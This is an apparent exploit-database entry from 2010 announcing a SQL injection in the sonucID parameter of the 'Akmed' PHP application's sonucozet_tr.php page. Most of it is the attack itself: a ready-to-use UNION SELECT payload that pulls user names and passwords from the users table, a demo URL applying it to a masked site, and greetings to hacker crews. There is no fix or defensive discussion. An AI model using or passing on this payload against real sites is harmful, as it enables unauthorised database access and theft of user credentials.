Akmed (sonucozet_tr.php) SQL Injection Vulnerability

2010-05-14T00:00:00
ID 1337DAY-ID-12242
Type zdt
Reporter Emre5807
Modified 2010-05-14T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ======================================================
Akmed ( sonucozet_tr.php ) SQL Injection Vulnerability
======================================================

###########################

Author : Emre5807

Homepage : http://www.1923turk.com /// 1923Turk-Grup ///


###########################

[ Vulnerable File ]


Site.com/sonucozet_tr.php?sonucID= [ SQL ]



[ Exploit ]

+union+select+1,2,3,group_concat(name,7,pass),5,6,7,8,9,10,11+from+users


[ Demo]

http://xxxxx.com/sonucozet_tr.php?sonucID=-101+union+select+1,2,3,group_concat(name,7,pass),5,6,7,8,9,10,11+from+users


#############################################################################################################
# Greetz: CodeS - ?l?M - VatanAy - TurkishWarrior - DJ_K_A_H_I_R - LegenDSemih - Enes_60 - Gamoscu - Manas58
#############################################################################################################




#  0day.today [2018-01-02]  #